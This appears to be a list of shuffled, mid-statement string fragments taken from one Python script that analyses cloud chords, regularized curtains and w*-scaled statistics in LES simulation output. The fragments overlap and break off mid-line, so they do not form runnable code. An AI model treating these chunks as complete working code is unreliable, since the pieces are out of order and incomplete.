"= total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to get anomalies of thl",
"as they aren't needed anymore, not sure if that helps",
"the boundary scaling using w* #Is a bit overcooked currently",
"as it only works with 3D data and thus all",
"cbl_1d_prof[tt] = math.floor(nz*0.6) print('resulting indexes of cbl over time: ',cbl_1d_prof)",
"after in the curtain, default is 1 # chord_max: Maximum",
"is assigned when no clouds are present if scale_flag >",
"#Switching to anomalies if anomaly flag is used if anomaly_flag==1:",
"t_gap = 0.#No gaps allowed! t_min = 0 t_max =",
"two to keep the one script from getting to confusing.",
"= np.zeros(nt) #Detecting all cloudy cells #Use to have a",
"pretty strict, no gaps allowed! t_min = 0.0 t_max =",
"number of chords. If data_dim_flag=3 it will jump to the",
"star', 'thl','thl 25','thl 75','qt','qt 25','qt 75']) df.to_pickle(filename_chord_panda) time_end = ttiimmee.time()",
"= [] chord_thl_star = [] chord_qt_star = [] chord_thl =",
"w2[tt,z] #w_var = np.var(w_1d[z,:]) #Mimimum of LCL +100 or variance",
"data_dim_flag==1: n_iter =len(filename_column) if data_dim_flag==3: n_iter =len(time_prof) #for col in",
"mean profile if anomaly_flag==1: for tt in range(len(time_prof)): tmp_matrix =",
"var_2d = file_col.variables[reg_var][:] var_2d = var_2d.transpose() #The needed cbl height",
"of minimum z_vlvl of the cbl #z_min = 0 #Index",
"as the next index in total, if so the cells",
"for 1d data') sys.exit() #Now adding the boundary scaling using",
"chord_times == 0: t_gap = 20 t_min = 30 t_max",
"time'), var_curtain_up_sum.transpose()/n_curtain_up), reg_var+'_dw':(('regularized height', 'regularized time'), var_curtain_dw_sum.transpose()/n_curtain_dw)}, coords={'regularized time':t_reg_mid, 'regularized",
"t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d = t_1d*0 #Now we go",
"chord_w_flux =np.asarray(chord_w_flux) chord_thl =np.asarray(chord_thl) chord_thl_25 =np.asarray(chord_thl_25) chord_thl_75 =np.asarray(chord_thl_75) chord_qt =np.asarray(chord_qt)",
"not matter the time distance between them. #if the difference",
"z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx],base_percentile)) # Can't think of a good way",
"with the transposed field, use to be an either or,",
"anomaly_flag: 0 use reg_var as it is. 1 use reg_var",
"t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0 chord_duration = 0 if chord_duration>t_min",
"w_star if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d) boundary_scaling = surf_flux/w_star if",
"kind='nearest') scaling_factor_x_inter = f_x(z_reg_mid) scaling_factor_y_inter = f_y(z_reg_mid) print('Scaling flag 2:,",
"d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #Have to add 0 to",
"#Here the smoother comes into play: #We started with a",
"3d output, 1d_flag needs to use the closet mean profile",
"curtain has more than curtain_min cells and curtain tail noes",
"adding it to the total histogram var_hist,bin_edges = np.histogram(var_cl_base,range=range_var,bins=N_bins) var_hist_sum",
"for variable base height if base_smoothing_flag<2: #Now for each of",
"roughly same #Could be made cleaner later on if scale_flag>0",
"w_3d del ql_3d del var_3d gc.collect() #Switching to anomalies if",
"the new regularized grid with the correct vertical but low/original",
"then adds to the sum of up or downdraft chords",
":(('regularized height', 'regularized time','length'), var_curtain_bin_sum.transpose()/n_curtain_bin), reg_var+'_up':(('regularized height', 'regularized time','length'), var_curtain_bin_up_sum.transpose()/n_curtain_bin_up),",
"z_vlvl of the cbl #Flag clean up if data_dim_flag==1: scale_flag=0",
"z_reg_mid = np.linspace(0+d_reg/2,1.5-d_reg/2 ,n_z_reg) mesh_curtain_t,mesh_curtain_z = np.meshgrid(t_reg_mid,z_reg_mid) var_curtain = np.zeros([n_t_reg,n_z_reg])",
"d_z_tmp = 1.0/ref_idx nz = scaling_factor_x_prof.shape[0] z_reg_orig_top = d_z_tmp*nz-d_z_tmp/2 z_reg_orig",
"use reg_var - profile. Works easiest for 3d output, 1d_flag",
"cbl print('looking into date: ',date) if data_dim_flag==1: filename_column = []",
"is larger than 20s the cloud is over, and a",
"= np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star var_curtain_tmp = var_curtain_tmp/boundary_scaling #Finally add",
"surf_b_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) w_star = (tmp_base_height*surf_b_flux)**(1./3.) surf_qt_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) qt_star",
"0 chord_idx_list = [] print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy",
"directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' filename_qt = directory_input+date+'/qt.nc' filename_thl = directory_input+date+'/thl.nc'",
"reached ############################################################################################################################## if n_chords == int(chord_max/2): t_cloudy_idx = int(len(cbl_cl_idx)/2) t_cloudy_idx",
"profile values dt_2 = (time_prof[1]-time_prof[0])/2 for tt in range(len(time_prof)): cbl_1d[abs(t_1d-time_prof[tt])<dt_2]",
"#if scale_flag==0: # scaling_factor=1. #find index of bin close to",
"1 = column, 3 = 3D snapshot # time_slice_curtain: 0",
"from netCDF4 import Dataset import os import time as ttiimmee",
"w_var = w2[tt,z] #w_var = np.var(w_1d[z,:]) #Mimimum of LCL +100",
"tried griddata but it was a lot slower #Calculating the",
"size bin bin_idx = np.where(np.abs(chord_length-mid_bin_size)<125)[0] if bin_idx.size>0: #print('bin_idx,chord_length',bin_idx,chord_length) n_curtain_bin[bin_idx] +=",
"save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1:",
"save_string_base = 'star'+save_string_base save_string = directory_output+ reg_var+save_string_base save_string = save_string+'.npz'",
"which are mostly gaps. t_cloudy_idx = 0 #n_chords = 0",
"the variable is scaled accordingly #Only called if there are",
"str(time_resolution)[:4] ) #fake t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it #dt_1d =",
"duration of the chordlength is lower than t_min or higher",
"np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) thl_2d = np.hstack([thl_2d ,np.array(thl_3d.reshape((nz,nx*ny)))])",
"n_curtain_dw = 0 if size_bin_flag==1: N_bins = 12 n_curtain_bin =",
"simple script which calculates a histogram below the cloud base",
"= directory_input+date+'/qt.nc' filename_thl = directory_input+date+'/thl.nc' file_w = Dataset(filename_w,read='r') file_ql =",
"save_string_base = 'chord_prop_'+date+'_d'+str(data_dim_flag)+'_ct'+str(chord_times) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9:",
"it will always go over x and y directions #Two",
"len(w_base_vec[w_base_vec>0.0])>0: tmp_w_per_up = np.percentile(w_base_vec[w_base_vec>0.0],percentiles) else: tmp_w_per_up = np.zeros(n_percentiles) tmp_w_per_up[:] =",
"have to calculate a vector for the lower time resolution",
"making it a function of the chordlength, using a 0.1",
"= start number of iterables, 3D timesteps or column files.",
"so that cloud base is at 1 d_z_tmp = 1.0/z_idx_base[i]",
"time_begin = ttiimmee.time() dz = 25.0 #39.0625 #Is recalculated from",
"np.meshgrid(t_reg_orig,z_reg_mid) #seems not to be needed var_t_low_z_high = np.zeros([curtain_cells,n_z_reg]) #introducing",
"w* #Is a bit overcooked currently as it only works",
"where there is no cloud. for t in range(nt): if",
"lower than the max height cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary =",
"1 time3 = ttiimmee.time() print('iterable: ',it) print('n_chords: ',n_chords) print('number of",
"#Index of minimum z_vlvl of the cbl #Flag clean up",
"t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d= t_1d*0 #Now we go through",
"z_reg_orig to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) scaling_factor_x_prof_ext = np.hstack([scaling_factor_x_prof[0],scaling_factor_x_prof])",
"scaling_factor_x_inter: ',np.mean(scaling_factor_x_inter), ' mean scaling_factor_y_inter: ',np.mean(scaling_factor_y_inter)) ### Clustering 1D #Now",
"import interp2d #from scipy.interpolate import griddata #from mpl_toolkits.axes_grid1 import make_axes_locatable",
"filename_w = directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' filename_qt = directory_input+date+'/qt.nc' filename_thl",
"in the end before saving in pandas chord_timesteps = []",
"in the first or second half if idx_end_curtain<nt/2: scaling_factor =",
"minimum height of 100 m to screen out fog/dew stuff",
"w_3d, (0, 2, 1)) ql_3d = np.transpose(ql_3d, (0, 2, 1))",
"[] while t_cloudy_idx < len(cbl_cl_idx)-1:# and n_curtain<100*it: ####################################GO HERE TO",
"doable load w_2d or ql_2d var_2d = file_col.variables[reg_var][:] var_2d =",
"w* surf_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w':",
"t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0 ch_duration = 0 if ch_duration>t_min",
"base surf_b_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) w_star = (tmp_base_height*surf_b_flux)**(1./3.) surf_qt_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord])",
"t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it else: #If no clouds are",
"of up or downdraft chords w_tmp = w_2d[cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]]-1,cbl_cl_idx[t_chord_begin:t_chord_end]] #print(w_tmp) #Scaling",
"the functions needed to process both chords and regularized beards",
"#removed the possibility to loop over multiple dates, if you",
"if scale_flag == 1: #a new reference level is com",
"pickle import sys #sys.path.insert(0, \"/home/pgriewank/code/2019-chords-plumes/\") #from unionfind import UnionFind from",
"error for the mean time. if data_dim_flag==1: print('sorry, but I",
"qt_2d = np.zeros((nz,1)) t_1d = np.zeros(1) #The needed cbl height,",
"= np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) var_2d = np.array(var_3d.reshape((nz,nx*ny))) #Now we",
"{reg_var :(('regularized height', 'regularized time','length'), var_curtain_bin_sum.transpose()/n_curtain_bin), reg_var+'_up':(('regularized height', 'regularized time','length'),",
"print('loading column: ',filename_column[it]) file_col = Dataset(filename_column[it],read='r') w_2d = file_col.variables['w'][:] w_2d",
"= np.zeros((nz,1)) qt_2d = np.zeros((nz,1)) t_1d = np.zeros(1) #The needed",
"it by mean time, then scales it by 1/(time_end_chord-time_beg_chord) t_reg_orig",
"are applied twice so that deviding by n it comes",
"n_iter = min(n_iter,N_it_max) for it in range(N_it_min,n_iter): time1 = ttiimmee.time()",
"= get_zxy_dimension(filename_l,'ql') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r')",
"z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add",
"size_bin_flag==1: xr_dataset = xr.Dataset( data_vars = {reg_var :(('regularized height', 'regularized",
"profile # directory_input = '/data/testbed/lasso/sims/' #+date # N_it_max = maximum",
"use the closet mean profile # directory_input = '/data/testbed/lasso/sims/' #+date",
"chord_duration<t_max and chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1",
"if len(w_base_vec[w_base_vec>0.0])>0: tmp_w_per_up = np.percentile(w_base_vec[w_base_vec>0.0],percentiles) else: tmp_w_per_up = np.zeros(n_percentiles) tmp_w_per_up[:]",
"but now I also hard coded that neighboring cells always",
"ttiimmee.time() dz = 25.0 #39.0625 #Is recalculated from the profile",
"half if idx_end_curtain<nt/2: scaling_factor = 2*scaling_factor_x else: scaling_factor = 2*scaling_factor_y",
"column included:',c_file) if data_dim_flag==3: filename_w = directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc'",
"the mean one and track one more curtain #detecting if",
"#The needed surface buoyancy flux, which is constant everywhere bflux_s_1d",
"if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star var_curtain_tmp =",
"= 7 #Number of percentiles percentiles = np.array([5,10,35,50,65,90,95]) #1D clustering",
"filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') n_chords = 0 #I will try",
"save_string_base = 'star'+save_string_base save_string_base = save_string_base+'_'+special_name+'_N'+str(n_curtain) save_string = directory_output+ reg_var+save_string_base",
"del w_3d del ql_3d del thl_3d del qt_3d #hopefully this",
"meters length to get started. The lowest bin should be",
"[] chord_qt_star = [] chord_thl = [] chord_thl_25 = []",
"u_ref_prof = file_prof['u'][it,:] v_ref_prof = file_prof['v'][it,:] V_ref_prof = np.sqrt(u_ref_prof**2+v_ref_prof**2) scaling_factor_x_prof",
"time_slice_curtain: 0 only puts out the total sums, 1: adds",
"least cell_min cells, because it is possible to get #Small",
"values to the profile values dt_2 = (time_prof[1]-time_prof[0])/2 for tt",
"file_prof['qtflux'][:,1] print('dz: ',dz) time_prof = file_prof['time'][:] cbl_1d_prof = time_prof*0.0 #Hack",
"==3: if sum(file_prof['ql'][it,:])>0.0: print('loading timestep: ',it) ql_3d = grab_3d_field(file_ql ,it,'ql')",
"+= 1 #Getting the chord beginning and end idx_beg_chord =",
"print(':') print(':') #Replacing saving with xarray xr_dataset = xr.Dataset( data_vars",
"the interpolation a bit of overlap is used. if idx_end_curtain<nt-2",
"if we are in the first or second half if",
"at the surface if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) chord_duration =",
"= save_string_base+'_'+special_name+'_N'+str(n_curtain) save_string = directory_output+ reg_var+save_string_base +'.nc' xr_dataset.to_netcdf(save_string) print('saved beard",
"gc.collect() #fake t vector, t_1d = np.linspace(0,2*nx*ny,2*nx*ny) #Switching to anomalies",
"ch_duration = 0 if ch_duration>t_min and ch_duration<t_max and chord_z_min >",
"hopefully avoid impact of harsch jumps #2019-03-28: Added simplified version",
"boundary_scaling = surf_flux/w_star if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d) boundary_scaling =",
"var_curtain_sum+var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_up += 1 var_curtain_up_sum += var_curtain_tmp elif",
"griddata #from mpl_toolkits.axes_grid1 import make_axes_locatable import pickle import sys #sys.path.insert(0,",
"mean time def proc_chords( date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output='/data/testbed/lasso/chords/', data_dim_flag=1, base_percentile =",
"data_dim_flag==1. Is calculated directly from the cloud base speeds if",
"right next to each other they are always counted as",
"25 percentile in agreement with Neil z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]],base_percentile)) #Regularized",
"unionfind import UnionFind from cusize_functions import * #import matplotlib.pyplot as",
"print('time iterative, V_ref, time_resolution',it, V_ref, time_resolution ) print('ref_lvl used to",
"one by one to w_x_low_z_high #f = interp1d(z_reg_orig, var_orig_col, kind='next')",
"print('loading timestep: ',it) ql_3d = grab_3d_field(file_ql ,it,'ql') w_3d = grab_3d_field(file_w",
"cbl_1d_prof[tt] = min(z+300/dz,LCL_index[tt]) #To avoid issues later on I set",
"the right columns and asign them one by one to",
"nz = var_orig_2d.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz)",
"= np.transpose( w_3d, (0, 2, 1)) ql_3d = np.transpose(ql_3d, (0,",
"variable base height if base_smoothing_flag<2: #Now for each of the",
"t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #Getting the chord beginning and end",
"'thl','thl 25','thl 75','qt','qt 25','qt 75']) df.to_pickle(filename_chord_panda) time_end = ttiimmee.time() print('total",
"they fulfilled cloud criteria, but now I also hard coded",
"tmp_vector = qt_prof[tt,:] #because the vectors don't perfectly align qt_2d[:,abs(t_1d-time_prof[tt])<dt_2]",
"is the same everywhere I just use idx_beg_curtain as one.",
"np.mean(cl_base[cbl_cl_idx]) if scale_flag == 1: #a new reference level is",
"interpolation is done for i in range(idx_beg_curtain,idx_end_curtain): #assigining column value",
"= t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0 chord_duration = 0 if",
"to the sum of up or downdraft chords w_tmp =",
"interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_2d = np.vstack([var_orig_2d[0,:],var_orig_2d]) f = interp2d(t_reg_orig,",
"data_dim_flag==1: scale_flag=0 #Creating dictionary to save all properties settings_dict =",
"kind='nearest') f_y = interp1d(z_reg_orig, scaling_factor_y_prof_ext, kind='nearest') scaling_factor_x_inter = f_x(z_reg_mid) scaling_factor_y_inter",
"= '/data/testbed/lasso/sims/' #+date # N_it_max = maximum number of iterables,",
"reg_var=='thl': thl_flux = np.mean(thlflux_s_1d) boundary_scaling = surf_flux/w_star var_cl_base = var_cl_base/boundary_scaling",
"#now connecting all cloudy indexes #Originally only cared if they",
"flexible variable def proc_pdf(reg_var = 'w', date_str='20160611', directory_input ='/data/testbed/lasso/sims/', directory_output",
"chord_length =np.asarray(chord_length) chord_height =np.asarray(chord_height) chord_w_base =np.asarray(chord_w_base) chord_w_star =np.asarray(chord_w_star) chord_thl_star =np.asarray(chord_thl_star)",
"#Originally only cared if they fulfilled cloud criteria, but now",
"N_it_min=0, anomaly_flag =0, N_bins=400, base_percentile = 25, boundary_scaling_flag = 1,",
"if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base",
"print('mid_bin_size',mid_bin_size) print('looking into date: ',date) if data_dim_flag==1: filename_column = []",
"(qt_2d.transpose() - qt_prof[it,:]).transpose() thl_2d[:,:] = (thl_2d.transpose() - thl_prof[it,:]).transpose() #to get",
"file_ql = Dataset(filename_l,read='r') [nz, nx, ny] = get_zxy_dimension(filename_l,'ql') #getting variable",
"10 #Index of minimum z_vlvl of the cbl print('looking into",
"recalculated from the profile file later on dx = 25.0",
"* (T - 273.15) / (T - 29.65 )) #rel_hum",
"= abs(scaling_factor) * var_curtain_tmp if scale_flag==2: if idx_end_curtain<nt/2: scaling_factor_prof =",
"#Mimimum of LCL +100 or variance plus 300 m cbl_1d_prof[tt]",
"max height cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx]",
"comes into play: #We started with a simple 5 cell",
"some weird initial fields. time_begin = ttiimmee.time() dz = 25.0",
"into date: ',date) if data_dim_flag==1: filename_column = [] #uses glob",
"= t_1d[1:]-t_1d[:-1] else: #If no clouds are present we pass",
"time_resolution',it, str(V_ref)[:4], str(time_resolution)[:4] ) #fake t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it",
"= cbl_cl_idx[t_chord_begin] idx_end_chord = cbl_cl_idx[t_chord_end] time_beg_chord = t_1d[idx_beg_chord] time_end_chord =",
"try: var_reg_inter = f(z_reg_mid) except: print(z_idx_base[i]) print(z_reg_orig) print(z_reg_mid) var_t_low_z_high[i-idx_beg_curtain,:] =",
"np.vstack([var_orig_2d[0,:],var_orig_2d]) f = interp2d(t_reg_orig, z_reg_orig,var_orig_2d, kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) return",
"to include everything available, but this might break the memory",
"sys.exit() #Now adding the boundary scaling using w* #Is a",
"include at least cell_min cells, because it is possible to",
"math from netCDF4 import Dataset import os import time as",
"np.transpose(ql_3d, (0, 2, 1)) qt_3d = np.transpose(qt_3d, (0, 2, 1))",
"needed surface_bouyancy_flux bflux_s_1d = t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d =",
"= np.sqrt(u_ref**2+v_ref**2) time_resolution = dx/V_ref print('time iterative, V_ref, time_resolution',it, str(V_ref)[:4],",
"scaling_factor = 2*scaling_factor_y if scaling_factor>0: var_curtain_tmp = var_curtain_tmp[::-1,:] var_curtain_tmp =",
"z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_2d = np.vstack([var_orig_2d[0,:],var_orig_2d]) f = interp2d(t_reg_orig, z_reg_orig,var_orig_2d,",
"if scale_flag > 0 and t_1d.shape[0]>3: #calculate the profiles of",
"### Detecting lowest cloud cell is within 300 m of",
"column_files: filename_column.append(c_file) print('filename column included:',c_file) if data_dim_flag==3: filename_w = directory_input+date+'/w.nc'",
"cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] ### Clustering",
"np.mean(w_tmp)>0.: n_curtain_up += 1 var_curtain_up_sum += var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_dw",
"clouds') ql_2d = np.zeros((nz,1)) w_2d = np.zeros((nz,1)) thl_2d = np.zeros((nz,1))",
"per up', 'w star','thl star','qt star', 'thl','thl 25','thl 75','qt','qt 25','qt",
"is this zero: ',np.mean(w_tmp),w_tmp) #globals().update(locals()) ############################################################################################################################################### ################## SIZE BINNING ##############################################################################################################",
"neighboring cells always count ##Check if the index of the",
"the mean time. if data_dim_flag==1: print('sorry, but I havent implemented",
"the input data is a 3D field it will always",
"boundary_scaling = surf_flux/w_star var_curtain_tmp = var_curtain_tmp/boundary_scaling #Finally add it to",
"1.0 z=z_min while w_var > 0.08: z += 1 w_var",
"grab_3d_field(file_ql ,it,'ql') w_3d = grab_3d_field(file_w ,it,'w') qt_3d = grab_3d_field(file_qt ,it,'qt')",
"relative to cloud base #Should be able to work for",
"as it is named the same as the file. #If",
"= file_col.variables['qt'][:] qt_2d = qt_2d.transpose() u_2d = file_col.variables['u'][:] u_2d =",
"uses the surface fluxes and cloud base height to calculate",
"track one more curtain #detecting if chord base has a",
"fluxes are the same everywhere. surf_flux = np.mean(bflux_s_1d) base_height =",
"t_cloudy_idx #now connecting all cloudy indexes #Originally only cared if",
"nz_prof = w2.shape[1] z_prof = file_prof['z'][:] dz = z_prof[1]-z_prof[0] total_surf_buoy_flux",
"): # reg_var = variable that will be regularized #",
"has more than curtain_min cells and curtain tail noes not",
"beginning and end, because for the interpolation a bit of",
"'regularized height':z_reg_mid, 'length':mid_bin_size}) xr_dataset[reg_var].attrs['n'] =n_curtain_bin xr_dataset[reg_var+'_up'].attrs['n'] =n_curtain_bin_up xr_dataset[reg_var+'_dw'].attrs['n'] =n_curtain_bin_dw xr_dataset.attrs",
"profile data, which devided by the grid spacing gives us",
"'data_curtains/', data_dim_flag=1, base_smoothing_flag=2, plot_curtains_flag = 0, base_percentile = 25, special_name='',",
"it in range(N_it_min,n_iter): time1 = ttiimmee.time() if data_dim_flag ==1: print('loading",
"= np.zeros((nz,1)) thl_2d = np.zeros((nz,1)) qt_2d = np.zeros((nz,1)) t_1d =",
"data_vars = {reg_var :(('regularized height', 'regularized time','length'), var_curtain_bin_sum.transpose()/n_curtain_bin), reg_var+'_up':(('regularized height',",
"z axes so that cloud base is at 1, since",
"0 to the z_reg_orig to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig])",
"created which is a list of all timesteps that below",
"seperate output for each time slice, is needed for scale_flag",
"will throw up an error for the mean time. if",
"z_reg_orig to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_col = np.hstack([var_orig_col[0],var_orig_col])",
"= ttiimmee.time() dz = 25.0 #39.0625 #Is recalculated from the",
"time_end_chord = t_1d[idx_end_chord] #Calculate the beginning and end of the",
"HERE TO SET MAXIMUM CURTAIN #print(t_chord_begin) t_chord_begin = t_cloudy_idx #now",
"if data_dim_flag==3: filename_w = directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' file_w =",
"d_z_tmp = 1.0/z_idx_base[i] var_orig_2d = input_2d_field[:,idx_beg_curtain:idx_end_curtain] nz = var_orig_2d.shape[0] z_reg_orig_top",
"0. #should be pretty strict, no gaps allowed! t_min =",
"determine existence of cloud z_min = 10 #Index of minimum",
"values are relative to cloud base #Should be able to",
"kind='next') f = interp1d(z_reg_orig, var_orig_col, kind='nearest') try: var_reg_inter = f(z_reg_mid)",
"time as well if chord_times == 1: t_gap = 0.",
"0.1 spacing var_hist_sum=np.zeros(N_bins) date = date_str #value used to determine",
"adding the boundary scaling using w* #Is a bit overcooked",
"ttiimmee.time() print('total run time of proc_beard_regularize in minutes: ',(time_end-time_begin)/60.) print(':')",
"available, but this might break the memory bank #want to",
"print('all chords: ',len(chord_duration)) save_string_base = 'chord_prop_'+date+'_d'+str(data_dim_flag)+'_ct'+str(chord_times) if N_it_min>0: save_string_base =",
"the cbl top for each profile time for tt in",
"chord_timesteps = [] chord_length = [] chord_duration = [] chord_time",
"surface fluxes and cloud base height to calculate either w/w*,",
"is unclear, I will try to include everything available, but",
"273.15) / (T - 29.65 )) #rel_hum = np.asmatrix(qt_pressure/sat_qv)[0] rel_hum",
"sum(z_idx_base[i-N:i+N])/(2*N) z_idx_base[:] = z_idx_base_smooth[:] if base_smoothing_flag==2: #just put the percentile",
"#because the vectors don't perfectly align var_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() -",
"125.*(T-dewpoint) LCL_index = np.floor(LCL/dz) #now calculate the cbl top for",
"Lifting condensation level LCL qt_pressure = p*qt sat_qv = 6.112*100",
"of thl and qt we subtract the closet mean profile",
"either or, now just add it on w_3d = np.transpose(",
"= 0 if ch_duration>t_min and ch_duration<t_max and chord_z_min > 4:",
"t_1d.shape[0]>3: #calculate the profiles of u and v and their",
"the surface if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) chord_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin]",
"save_string+'.npz' np.savez(save_string,var_pdf=var_pdf,range_var=range_var) print('saved pdf with ', sum(var_pdf), 'points to '+save_string)",
"return var_curtain #Creating regularized grid. d_reg = 0.005 n_z_reg =",
"= save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string = directory_output+",
"t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] chord_length = ch_duration*V_ref #if scale_flag==0: # scaling_factor=1. #find index",
"winds',ref_lvl ) #fake t vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it else: #If",
"quickly # size_bin_flag bins the beards by their chord_lenth. Currently",
"scipy.interpolate import interp1d from scipy.interpolate import interp2d #from scipy.interpolate import",
"1 var_curtain_dw_sum += var_curtain_tmp else: print('wtf how is this zero:",
"= t_1d*0 thlflux_s_1d = t_1d*0 #Now we go through profile",
"height', 'regularized time'), var_curtain_up_sum.transpose()/n_curtain_up), reg_var+'_dw':(('regularized height', 'regularized time'), var_curtain_dw_sum.transpose()/n_curtain_dw)}, coords={'regularized",
"filename_w = directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' file_w = Dataset(filename_w,read='r') file_ql",
"if anomaly_flag==1: #because the vectors don't perfectly align var_2d[:,:] =",
"are connected while t_cloudy_idx < len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap):",
"#If the input data is a 3D field it will",
"a bit beyond -1.5 and 1.5, total width defined by",
"BINNING ############################################################################################################## ############################################################################################################################################### if size_bin_flag: #getting V_ref if data_dim_flag==1. Is",
"#Now calculating the var at cloud base var_cl_base=var_2d[cl_base[cbl_cl_idx]-1,cbl_cl_idx] #If boundary",
"for 3D to avoid some weird initial fields. time_begin =",
"is what is assigned when no clouds are present if",
"= t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d= t_1d*0 #Now we go",
"them onto the regularized z axis d_z_tmp = 1.0/ref_idx nz",
"filename_column: n_iter = min(n_iter,N_it_max) for it in range(N_it_min,n_iter): print('n_chords: ',n_chords)",
"maximum number of iterables, 3D timesteps or column files. Used",
"4: if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #Getting the chord beginning",
"cl_base=cl_base.astype(int) #Now find c base lower than the max height",
"= np.zeros([0,n_percentiles]) chord_w_per_up = np.zeros([0,n_percentiles]) #This now a bit trickier",
"overcooked currently as it only works with 3D data and",
"#globals().update(locals()) tmp_matrix = thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = thl_prof[tt,:] #because the vectors",
"t_cloudy_idx += 1 t_chord_end = t_cloudy_idx #Checking if it fulfils",
"range(len(time_prof)): w_var = 1.0 z=z_min while w_var > 0.08: z",
"chord_w_flux.append(np.sum(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) w_base_vec = w_2d[cl_base[ch_idx_l]-1,ch_idx_l] chord_w_up.append(np.mean(w_base_vec[w_base_vec>0.0])) tmp_w_per = np.percentile(w_base_vec,percentiles) if len(w_base_vec[w_base_vec>0.0])>0:",
"the beginning and end of the curtain, we add a",
"axes so that cloud base is at 1, since z_idx_base",
"data_dim_flag ==1: print('loading column: ',filename_column[it]) file_col = Dataset(filename_column[it],read='r') w_2d =",
